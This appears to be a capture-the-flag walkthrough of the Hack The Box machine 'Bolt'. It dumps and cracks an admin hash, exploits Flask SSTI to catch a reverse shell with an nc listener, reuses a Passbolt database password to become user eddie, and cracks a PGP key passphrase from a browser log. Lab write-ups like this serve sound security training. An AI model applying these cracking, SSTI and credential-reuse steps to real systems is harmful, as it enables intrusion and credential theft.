$ ls -la total 64 drwxr-xr-x 13 kali kali 4096 Sep 27 08:14 . drwxr-xr-x 3 kali kali 4096 Sep 28 06:12 .. drwxr-xr-x 3 kali kali 4096 Sep 27 09:03 187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950 drwxr-xr-x 3 kali kali 4096 Sep 27 09:00 1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c drwxr-xr-x 3 kali kali 4096 Sep 27 10:14 2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa drwxr-xr-x 3 kali kali 4096 Sep 27 10:15 3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab drwxr-xr-x 3 kali kali 4096 Sep 27 10:16 3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162 drwxr-xr-x 3 kali kali 4096 Sep 27 10:13 3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b drwxr-xr-x 4 kali kali 4096 Sep 27 10:16 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad drwxr-xr-x 3 kali kali 4096 Sep 27 10:15 745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf -rw-r--r-- 1 kali kali 3797 Mar 5 2021 859e74798e6c82d5191cd0deaae8c124504052faa654d6691c21577a8fa50811.json drwxr-xr-x 3 kali kali 4096 Sep 27 10:13 9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77 drwxr-xr-x 3 kali kali 4096 Sep 27 09:08 a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2 drwxr-xr-x 2 kali kali 4096 Mar 5 2021 d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26 -rw-r--r-- 1 kali kali 1002 Jan 1 1970 manifest.json -rw-r--r-- 1 kali kali 119 Jan 1 1970 repositories
In one of the directory, we will find a database file.
1 2 3 4 5 6 7 8
$ ls -la a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer/ total 36 drwxr-xr-x 4 kali kali 4096 Sep 27 09:16 . drwxr-xr-x 3 kali kali 4096 Sep 27 09:08 .. -rw-r--r-- 1 kali kali 16384 Mar 5 2021 db.sqlite3 -rw-r--r-- 1 kali kali 35 Sep 27 09:16 hash drwx------ 2 kali kali 4096 Mar 5 2021 root drwxrwxrwt 2 kali kali 4096 Mar 5 2021 tmp
Let’s dump tables from the DB.
1 2 3 4 5 6 7
$ sqlite3 a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer/db.sqlite3 SQLite version 3.36.0 2021-06-18 18:36:39 Enter ".help"for usage hints. sqlite> .table User sqlite> select * from user; 1|admin|admin@bolt.htb|$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.||
We got credentials, but the password is stored in hash. Let’s crack it.
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root💀kali)-[~/hackthebox/machine/bolt] └─# john hash_admin --wordlist=/usr/share/wordlists/rockyou.txt Warning: detected hashtype"md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status deadbolt (?) 1g 0:00:00:00 DONE (2021-09-29 12:24) 1.639g/s 283278p/s 283278c/s 283278C/s doida..curtis13 Use the "--show" option to display all of the cracked passwords reliably Session completed
We got the password. Let’s login.
We are on admin dashboard, let’s look around for any hints.
In direct chat, they are talking about other platform. Let’s find the virtual hosts.
We got two more virtual hosts, let’s add them to our hosts file and access.
Both vhost’s have login page, and our earlier admin credentials didn’t work them. Let’s create a new user on ‘demo’ vhost.
To create a new account on ‘demo’ vhost, need to have invite code (as mentioned in direct chat). We can find invite code in downloaded data from the server.
1 2 3 4 5
$ grep -iR -A 2 'invite_code' 2>/dev/null 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/routes.py: code = request.form['invite_code'] 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/routes.py- if code != 'XNSS-HSJW-3NGU-8XTJ':
We have invite code now, let’s register a new account and login.
Using these credentials, we can also login on ‘mail’ vhost.
The footer of ‘demo’ dashboard displays that, the server is using ‘Flask’.
We can try SSTI on profile name.
Once you submit the profile name with SSTI payload, it will send a confirmation email. We need to confirm it.
After confirmation, nothing will happen on dashboard, but you will receive another mail with confirmed name.
As you can see, the name is “16”, this is a proof that SSTI is possible on the sever side. Let’s perform code execution.
I have highlighted the bash one-liner, initially it failed when I used ‘bash’, rather than using absolute path. Setup a listener, confirm the name change from ‘mail’ vhost and check your listener.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
┌──(root💀kali)-[~/hackthebox/machine/bolt] └─# nc -lvp 4433 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::4433 Ncat: Listening on 0.0.0.0:4433 Ncat: Connection from 10.10.11.114. Ncat: Connection from 10.10.11.114:34804. bash: cannot set terminal process group (1007): Inappropriate ioctl for device bash: no job control in this shell www-data@bolt:~/demo$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@bolt:~/demo$ whoami whoami www-data www-data@bolt:~/demo$ python3 -c 'import pty; pty.spawn("/bin/bash")' python3 -c 'import pty; pty.spawn("/bin/bash")'
We got service account access, now we need to elevate the privileges to user account. Let’s look for user account.
www-data@bolt:/etc/passbolt$ cat passbolt.php cat passbolt.php <?php /** * Passbolt ~ Open source password manager for teams * Copyright (c) Passbolt SA (https://www.passbolt.com) * * Licensed under GNU Affero General Public License version 3 of the or any later version. * For full copyright and license information, please see the LICENSE.txt * Redistributions of files must retain the above copyright notice. * * @copyright Copyright (c) Passbolt SA (https://www.passbolt.com) * @license https://opensource.org/licenses/AGPL-3.0 AGPL License * @link https://www.passbolt.com Passbolt(tm) * @since 2.0.0 */ /** * PASSBOLT CONFIGURATION FILE * * This is a generated configuration file, which was generated by the passbolt web installer. * * To see all available options, you can refer to the default.php file, or replace this file * by a copy of passbolt.default.php * Do not modify default.php or you may break your upgrade process. * * Read more about how to install passbolt: https://www.passbolt.com/help/tech/install * Any issue, check out our FAQ: https://www.passbolt.com/faq * An installation issue? Ask forhelp to the community: https://community.passbolt.com/ */ return [ 'App' => [ // A base URL to use for absolute links. // The url where the passbolt instance will be reachable to your end users. // This information is need to render images in emails for example 'fullBaseUrl' => 'https://passbolt.bolt.htb', ],
mysql> describe secrets; +-------------+------------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +-------------+------------+------+-----+---------+-------+ | id | char(36) | NO | PRI | NULL | | | user_id | char(36) | NO | MUL | NULL | | | resource_id | char(36) | NO | MUL | NULL | | | data | mediumtext | NO | | NULL | | | created | datetime | NO | | NULL | | | modified | datetime | NO | | NULL | | +-------------+------------+------+-----+---------+-------+ 6 rows inset (0.00 sec) mysql> select data from secrets; -----BEGIN PGP MESSAGE----- Version: OpenPGP.js v4.10.9 Comment: https://openpgpjs.org wcBMA/ZcqHmj13/kAQgAkS/2GvYLxglAIQpzFCydAPOj6QwdVV5BR17W5psc g/ajGlQbkE6wgmpoV7HuyABUjgrNYwZGN7ak2Pkb+/3LZgtpV/PJCAD030kY pCLSEEzPBiIGQ9VauHpATf8YZnwK1JwO/BQnpJUJV71YOon6PNV71T2zFr3H oAFbR/wPyF6Lpkwy56u3A2A6lbDb3sRl/SVIj6xtXn+fICeHjvYEm2IrE4Px l+DjN5Nf4aqxEheWzmJwcyYqTsZLMtw+rnBlLYOaGRaa8nWmcUlMrLYD218R zyL8zZw0AEo6aOToteDPchiIMqjuExsqjG71CO1ohIIlnlK602+x7/8b7nQp edLA7wF8tR9g8Tpy+ToQOozGKBy/auqOHO66vA1EKJkYSZzMXxnp45XA38+u l0/OwtBNuNHreOIH090dHXx69IsyrYXt9dAbFhvbWr6eP/MIgh5I0RkYwGCt oPeQehKMPkCzyQl6Ren4iKS+F+L207kwqZ+jP8uEn3nauCmm64pcvy/RZJp7 FUlT7Sc0hmZRIRQJ2U9vK2V63Yre0hfAj0f8F50cRR+v+BMLFNJVQ6Ck3Nov 8fG5otsEteRjkc58itOGQ38EsnH3sJ3WuDw8ifeR/+K72r39WiBEiE2WHVey 5nOF6WEnUOz0j0CKoFzQgri9YyK6CZ3519x3amBTgITmKPfgRsMy2OWU/7tY NdLxO3vh2Eht7tqqpzJwW0CkniTLcfrzP++0cHgAKF2tkTQtLO6QOdpzIH5a Iebmi/MVUAw3a9J+qeVvjdtvb2fKCSgEYY4ny992ov5nTKSH9Hi1ny2vrBhs nO9/aqEQ+2tE60QFsa2dbAAn7QKk8VE2B05jBGSLa0H7xQxshwSQYnHaJCE6 TQtOIti4o2sKEAFQnf7RDgpWeugbn/vphihSA984 =P38i -----END PGP MESSAGE-----
Without private key we can’t decrypt this message, save this message on your Kali Linux. Let’s try to login using this DB password for ‘eddie’ user.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
www-data@bolt:/etc/passbolt$ su eddie su eddie Password: rT2;jW7<eY8!dX8}pQ8%
eddie@bolt:/etc/passbolt$ id id uid=1000(eddie) gid=1000(eddie) groups=1000(eddie) eddie@bolt:/etc/passbolt$ whoami whoami eddie eddie@bolt:/etc/passbolt$ cd ~ cd ~ eddie@bolt:~$ cat user.txt cat user.txt 408648311441ce2f4763d74bff326fef
and we got the user flag……
Privilege Escalation - Root
Linpeas reveled couple of things like main and private ssh key’s.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500) ╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files ----SNIP---- /var/mail/eddie ----SNIP---- ══╣ Possible private SSH keys were found! /etc/ImageMagick-6/mime.xml /home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/ 3.0.5_0/index.min.js /home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/ 3.0.5_0/vendors/openpgp.js /home/eddie/.config/google-chrome/Default/Local Extension Settings/ didegimhafipceonhjepacocaffmoppf/000003.log
Let’s read mail and then look for SSH private keys.
eddie@bolt:~$ cat /var/mail/eddie cat /var/mail/eddie From clark@bolt.htb Thu Feb 25 14:20:19 2021 Return-Path: <clark@bolt.htb> X-Original-To: eddie@bolt.htb Delivered-To: eddie@bolt.htb Received: by bolt.htb (Postfix, from userid 1001) id DFF264CD; Thu, 25 Feb 2021 14:20:19 -0700 (MST) Subject: Important! To: <eddie@bolt.htb> X-Mailer: mail (GNU Mailutils 3.7) Message-Id: <20210225212019.DFF264CD@bolt.htb> Date: Thu, 25 Feb 2021 14:20:19 -0700 (MST) From: Clark Griswold <clark@bolt.htb>
Hey Eddie,
The password management server is up and running. Go ahead and download the extension to your browser and get logged in. Be sure to back up your private key because I CANNOT recover it. Your private key is the only way to recover your account. Once you are set up you can start importing your passwords. Please be sure to keep good security in mind - there is a few things I read about in a security whitepaper that are a little concerning...
-Clark
Clark user has sent a mail to eddie, and telling about password management server and telling him to take backup of private key. If we look into log file, we’d find private key.
Copy the whole PGP Private Key and remove the ‘\r\n’ character, those are line breaks. Remove those characters but keep the “line-break”, and save it on Kali Linux. We need to extract the passphrase from the private key. First we need to convert the private key to hash format.
john pgp.hash --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hashtype"gpg", but the string is also recognized as "gpg-opencl" Use the "--format=gpg-opencl" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64]) Cost 1 (s2k-count) is 16777216 for all loaded hashes Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 8 for all loaded hashes Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:00:27 0.00% (ETA: 2021-10-06 13:00) 0g/s 27.58p/s 27.58c/s 27.58C/s caroline 0g 0:00:09:21 0.09% (ETA: 2021-10-06 04:32) 0g/s 27.82p/s 27.82c/s 27.82C/s xxxxxxxxxx 0g 0:00:12:24 0.12% (ETA: 2021-10-06 03:55) 0g/s 27.93p/s 27.93c/s 27.93C/s january12 0g 0:00:17:20 0.17% (ETA: 2021-10-06 03:40) 0g/s 28.03p/s 28.03c/s 28.03C/s thuggin 0g 0:00:22:38 0.22% (ETA: 2021-10-06 03:31) 0g/s 28.07p/s 28.07c/s 28.07C/s upgrade 0g 0:00:24:51 0.24% (ETA: 2021-10-06 03:19) 0g/s 28.10p/s 28.10c/s 28.10C/s megan13 merrychristmas (Eddie Johnson) 1g 0:00:25:24 DONE (2021-09-29 00:23) 0.000656g/s 28.10p/s 28.10c/s 28.10C/s merrychristmas Use the "--show" option to display all of the cracked passwords reliably Session completed
It took 25 minutes to crack it. We got the passphrase for the private key. Now, let’s try to decrypt the encrypted message which we got from ‘passbolt’ database. But first, we need to import the public and private key of ‘Eddie’ user.